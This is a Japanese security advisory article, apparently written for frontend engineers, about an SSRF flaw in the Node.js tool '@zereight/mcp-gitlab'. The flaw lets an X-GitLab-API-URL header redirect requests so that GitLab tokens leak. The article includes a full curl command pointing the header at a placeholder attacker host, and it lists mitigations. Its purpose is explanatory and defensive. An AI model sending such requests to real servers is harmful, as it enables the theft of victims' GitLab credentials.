[緊急解説] GitLab連携ツールの深刻なSSRF脆弱性 (CVE-2026-61559) とフロントエンドへの影響
はじめに：なぜフロントエンドエンジニアがこの情報を知るべきなのか
日本のフロントエンドエンジニアの皆さん、こんにちは。近年、JavaScript/TypeScriptエコシステムは急速に拡大し、Node.jsを基盤としたツールやサービスが開発プロセスの中核を担うことが増えています。ビルドツール、BFF (Backend For Frontend)、CI/CDパイプライン、各種開発ユーティリティなど、その適用範囲は広範です。そのため、一見サーバーサイドの脆弱性に見えるものでも、開発環境やツールチェーン、ひいてはサプライチェーン全体に影響を及ぼす可能性があります。
今回解説するのは、GitLabと連携するNode.js製ツール『@zereight/mcp-gitlab』における深刻なSSRF (Server-Side Request Forgery) 脆弱性です。この脆弱性は、クリティカルな深刻度（CVSS v3.1 8.5）に分類されており、悪用されると皆様のGitLab Private Tokenが攻撃者に盗まれ、甚大な被害を引き起こす可能性があります。開発プロセスに関わる皆様が、このリスクを理解し、適切な対策を講じられるよう、技術的な詳細を解説します。
脆弱性の概要：GitLab Private Token流出の危機
この脆弱性 (GHSA-2h44-8472-frjj / CVE-2026-61559) は、`@zereight/mcp-gitlab`の全バージョン（コミット`74a8c83`まで）に存在します。特に、環境変数 `ENABLE_DYNAMIC_API_URL=true` が設定されている場合に顕在化します。この設定が有効な環境では、サーバーがHTTPリクエストヘッダー `X-GitLab-API-URL` の値を読み取り、これをすべてのGitLab API呼び出しのベースURLとして動的に使用します。
問題は、この動的なURLの検証が不十分である点です。サーバーは指定された値がURLとして形式的に正しいか（`new URL(dynamicApiUrl)`）はチェックしますが、許可されたホスト名のリスト（Allowlist）と照合するなどの制限が一切ありません。その結果、攻撃者はこのヘッダーに任意のサーバーのURLを指定でき、本来GitLabに送られるべき被害者の`Private-Token`を、攻撃者自身が管理するサーバーへ転送させることが可能になります。
これにより、攻撃者はたった一つのリクエストで、被害者のGitLab Personal Access TokenやCI/CDジョブトークンを奪取できてしまいます。奪取されたトークンは、被害者の権限レベルでGitLab APIへのフルアクセスを許し、リポジトリの読み取り、コードのプッシュ、パイプラインの変更、さらにはCI/CD変数（シークレット）の閲覧や操作まで可能となります。これは情報漏洩、コード改ざん、サービス停止など、組織にとって壊滅的な影響を及ぼしかねません。
なぜ起こるのか？技術的な詳細
`@zereight/mcp-gitlab`は、本来、自己ホスト型GitLabインスタンスがデフォルトとは異なるベースURLを使用する場合に対応するため、`ENABLE_DYNAMIC_API_URL`オプションを提供しています。これにより、ユーザーは`X-GitLab-API-URL`ヘッダーを介してGitLab APIのベースURLを動的に指定できるわけです。
しかし、開発者はこの機能の実装において、指定されたURLのホスト名が信頼できるものであるかを検証する機構を設けていませんでした。サーバーサイドのコードでは、以下のような形でヘッダーの値が取得・使用されます（簡略化）。
1. リクエストから`X-GitLab-API-URL`ヘッダーの値を取得。
2. `ENABLE_DYNAMIC_API_URL`が`true`であれば、その値をGitLab APIのベースURLとして設定。
3. この設定されたURLを使ってGitLab APIにリクエストを送信する際、被害者の`Private-Token`をヘッダーに付与して送信。
結果として、攻撃者が`X-GitLab-API-URL: http://ATTACKER_SERVER:PORT/api/v4` のような値を指定すると、サーバーは被害者のGitLabトークンを付与した状態で、攻撃者サーバーに対してAPIリクエストを送信してしまいます。これがServer-Side Request Forgery（SSRF）であり、サーバーが本来アクセスすべきではない外部リソースにアクセスさせられ、機密情報（この場合はPrivate Token）が流出するメカニズムです。
具体的な攻撃シナリオとフロントエンドエンジニアへの影響
攻撃者は、例えば以下のような`curl`コマンドを使って、悪意のある`X-GitLab-API-URL`ヘッダーを持つリクエストを`@zereight/mcp-gitlab`サーバーに送信します。`TARGET`は脆弱なサーバー、`ATTACKER`は攻撃者が制御するサーバーです。
`curl -X POST http://TARGET:3002/mcp -H "X-GitLab-API-URL: http://ATTACKER:9099/api/v4" -H "Authorization: Bearer ANY_VALID_TOKEN" -H "Content-Type: application/json" -d '{"jsonrpc":"2.0","method":"tools/call","params":{"name":"list_issues","arguments":{"project_id":"1"}},"id":1}'`
このリクエストが`@zereight/mcp-gitlab`サーバーに到達すると、サーバーは`ATTACKER:9099`に対して、被害者の`private-token`を付与したGitLab APIリクエストを送信します。攻撃者は`ATTACKER:9099`で待ち受けているHTTPサーバーで、このトークンを簡単に傍受できます。
フロントエンドエンジニアにとっての直接的な影響は、自身の開発環境やCI/CDパイプライン、BFFなど、Node.jsベースのツールチェーンで`@zereight/mcp-gitlab`が利用されている場合に発生します。例えば、以下のようなリスクが考えられます。
<ul><li><b>開発環境からのトークン流出:</b> ローカル開発環境で`@zereight/mcp-gitlab`が`ENABLE_DYNAMIC_API_URL=true`で稼働しており、悪意のあるリクエストが送られた場合。</li><li><b>CI/CDパイプラインへの影響:</b> CI/CD環境でこのツールが利用されており、悪意のあるテストやビルドプロセスが実行された場合、パイプラインのGitLabトークン（多くの場合高い権限を持つ）が流出する可能性があります。これにより、攻撃者はリポジトリへの不正なプッシュ、パイプライン定義の改ざん、デプロイメントプロセスの乗っ取り、シークレット変数へのアクセスなどが可能になります。</li><li><b>サプライチェーン攻撃のリスク:</b> この脆弱性を踏み台に、より広範なサプライチェーン攻撃へと発展する可能性があります。流出したトークンを使ってコードベースが改ざんされ、それが製品版に混入するような事態も考えられます。</li></ul>
今すぐできる対策
この脆弱性への対策は、主にサーバーサイドでの厳格な入力検証にあります。フロントエンドエンジニアの皆さんも、利用しているツールやライブラリ、CI/CD環境の設定を確認することで、このリスクを軽減できます。
<ul><li><b>Allowlist（許可リスト）によるホスト名検証の導入:</b> `@zereight/mcp-gitlab`を利用している開発者は、`X-GitLab-API-URL`ヘッダーで指定されたホスト名を、信頼できるGitLabホスト名の許可リストと照合する対策を直ちに導入してください。指定されたホスト名が許可リストに含まれていない場合、そのリクエストは拒否されるべきです。提供された情報では、環境変数`GITLAB_ALLOWED_HOSTS`を設定し、これを利用する例が示されています。</li><li><b>`ENABLE_DYNAMIC_API_URL`の無効化:</b> もし`ENABLE_DYNAMIC_API_URL`機能が不要であれば、この環境変数を`false`に設定するか、削除して機能を無効化することを強く推奨します。これにより、SSRF攻撃のリスクを根本から排除できます。</li><li><b>定期的なセキュリティアップデート:</b> 使用しているライブラリやツールのセキュリティ情報を常にチェックし、最新バージョンへのアップデートを怠らないようにしましょう。npm auditなどのツールを活用し、依存関係の脆弱性を定期的にスキャンすることも重要です。</li><li><b>最小権限の原則:</b> CI/CDパイプラインなどでGitLabトークンを使用する場合、必要最小限の権限のみを付与するように設定してください。万が一トークンが流出しても、被害範囲を最小限に抑えることができます。</li><li><b>開発環境の保護:</b> 開発環境やローカル環境においても、不要なポートの開放や、信頼できないソースからのリクエスト受け入れには注意を払うべきです。</li></ul>
まとめ
今回の`@zereight/mcp-gitlab`におけるSSRF脆弱性は、Node.jsベースのツールが持つ潜在的なリスクを浮き彫りにしました。フロントエンド開発に深く関わる皆様にとって、このようなサーバーサイドの脆弱性が、自身の開発プロセスや組織のセキュリティ体制にどのような影響を与えうるかを理解することは非常に重要です。
常に使用している依存関係のセキュリティに注意を払い、最新のセキュリティ情報を追跡し、推奨される対策を講じることで、皆様のプロジェクトと組織をサイバー攻撃から守ることができます。この情報が、皆様のセキュリティ意識向上と対策の一助となれば幸いです。